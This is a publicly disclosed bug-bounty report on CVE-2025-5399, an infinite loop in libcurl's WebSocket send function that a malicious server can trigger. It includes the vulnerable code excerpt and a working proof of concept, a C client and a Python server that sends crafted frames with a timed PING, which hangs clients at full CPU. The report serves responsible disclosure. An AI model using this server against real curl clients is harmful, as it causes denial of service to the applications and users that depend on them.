HexBrain

curl · Report #3168039

CVE-2025-5399: WebSocket endless loop

Validstatus
lowseverity
58upvotes
4 Jun 2025disclosed

How it was found

The function curl_ws_send() in libcurl on commit 12d13b84fa40aa657b83d5458944dbd9b978fb7e contains an infinite loop that can be triggered by a malicious server under specific circumstances. If an application uses curl_ws_recv() and curl_ws_send() to communicate with a websocket server, a malicious server can send a carefully timed PING message while the client is constructing a frame via CURLWS_OFFSET that leads to the next curl_ws_send() invocation not terminating a loop that flushes data.

The affected code is in file lib/ws.c in function curl_ws_send() on lines 1376 - 1419:

while(!Curl_bufq_is_empty(&ws->sendbuf) || (buflen > ws->sendbuf_payload)) {
    // ...
    
    result = ws_flush(data, ws, Curl_is_in_callback(data));
    if(!result) {
      *sent += ws->sendbuf_payload;
      buffer += ws->sendbuf_payload;
      buflen -= ws->sendbuf_payload;
      ws->sendbuf_payload = 0;
    }
    
    // ...
}

buflen is coming from the application and is the length of data to be sent. If the loop starts with ws->sendbuf_payload == 0, then buflen > ws->sendbuf_payload is always true. After a successful ws_flush(), sent, buffer and buflen remain unmodified and the loop runs forever.

PoC

Consider the following client that repeatedly sends and receives messages:

#include <stdio.h>
#include <unistd.h>
#include <assert.h>
#include <curl/curl.h>

int main (int argc, char** argv) {
    char buffer[512];
    size_t sent;
    size_t n;
    const struct curl_ws_frame* meta;
    CURLcode res;
    
    CURL* curl = curl_easy_init();
    curl_easy_setopt(curl, CURLOPT_URL, "ws://127.0.0.1:1337/");
    curl_easy_setopt(curl, CURLOPT_CONNECT_ONLY, 2L);
    curl_easy_perform(curl);
    
    curl_ws_recv(curl, buffer, sizeof(buffer), &n, &meta);
    curl_ws_send(curl, "1234", 4, &sent, 0, CURLWS_TEXT | CURLWS_CONT);
    
    curl_ws_recv(curl, buffer, sizeof(buffer), &n, &meta);
    curl_ws_send(curl, "X", 1, &sent, 70, CURLWS_OFFSET);
    
    curl_ws_recv(curl, buffer, sizeof(buffer), &n, &meta);
    curl_ws_send(curl, buffer, 53, &sent, 0, CURLWS_OFFSET);
    
    // The next curl_ws_recv() will receive a 16-byte PING message and
    // auto-respond with PONG
    
    res = curl_ws_recv(curl, buffer, sizeof(buffer), &n, &meta);
    assert(res == CURLE_AGAIN);
    
    // Restart I/O. The next call to curl_ws_send() will never return
    
    curl_ws_recv(curl, buffer, sizeof(buffer), &n, &meta);
    curl_ws_send(curl, buffer, 16, &sent, 0, CURLWS_OFFSET);
    
    // never reached:
    assert(0);
}

And consider the following server that serves malicious packets:

#!/usr/bin/env python3

import time
import base64
import hashlib
from pwn import *

packets = [
    b'\x01~\x00\x0cHello World!',
    b'\x89F\x9a',
    b"\xb1\x8b\xe3\x8f\xa6\xe29\xe4\xa6(\x04P\x06'\xccwa\xd1\x83+\xbc\xf1\xd1\x9f\x93\xdc\xf4(Y", 
    b'\x81\x10\xb8\xd7b\xbc\xcfcM\x992\x1fU\xc1\x8f\xc7\x07\xc92S\x06\xdc\xd9\xc7',
    b'\x01~\x00\x0cHello World!',
    b'\x88g\xe5\xef\x88\x00\xeb7\xc2D\xa6\x812\xb3\x98\x9b/\xa6',
    b'4U3T\xba\xb9\xd3\x81\xeb\x17\xd19(\x92g\x8d\x85)\x8f\xec\xf3\x14@',
    b'\x8b\xc2\xf5\xf3\x10\xf4\x19\xe8\x0f\x08\x98\x9d'
]

def sha1(data):
    h = hashlib.new("sha1")
    h.update(data)
    return h.digest()

with listen(1337) as conn:
    conn.wait_for_connection()
    key = None
    
    while True:
        line = conn.recvline()
        
        if line.startswith(b"Sec-WebSocket-Key: "):
            _, enc = line.split(b" ")
            key = enc.strip()
        elif line == b"\r\n":
            break
    
    key += b"258EAFA5-E914-47DA-95CA-C5AB0DC85B11"
    
    conn.sendline(b"HTTP/1.1 101 Switching Protocols\r")
    conn.sendline(b"Upgrade: websocket\r")
    conn.sendline(b"Sec-WebSocket-Accept: " + base64.b64encode(sha1(key)) + b"\r")
    conn.sendline(b"Sec-WebSocket-Version: 13\r")
    conn.sendline(b"\r")
    
    for packet in packets:
        conn.send(packet)

When the server is launched in the background with

$ python3 server.py &

And the client is run with

$ ./client

it can be seen that ./client takes up 100% CPU usage and never terminates.

Explanation

I still don't 100% understand the websocket code and why it comes to this bug but here is a rough overview what happens:

  • The client tries building a 70-byte frame over the course of 3 curl_ws_send() invocations
  • The first two invocations supply 1 + 53 = 54 bytes
  • Then a PING arrives with 16 bytes of content
  • Upon serving the final 16-bytes from the application, the loop occurs

If the auto-pong feature is deactivated via

curl_easy_setopt(curl, CURLOPT_WS_OPTIONS, (long) CURLWS_NOAUTOPONG);

the infinite loop no longer occurs. The root-cause seems to be in the handling of the PING message.

Impact

Since this bug

  • can be triggered by a remote server
  • makes programs halt their execution and consumes 100% CPU over an indefinite amount of time
  • only occurs when the client behaves in a very specific way

I suggest severity "Low".

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original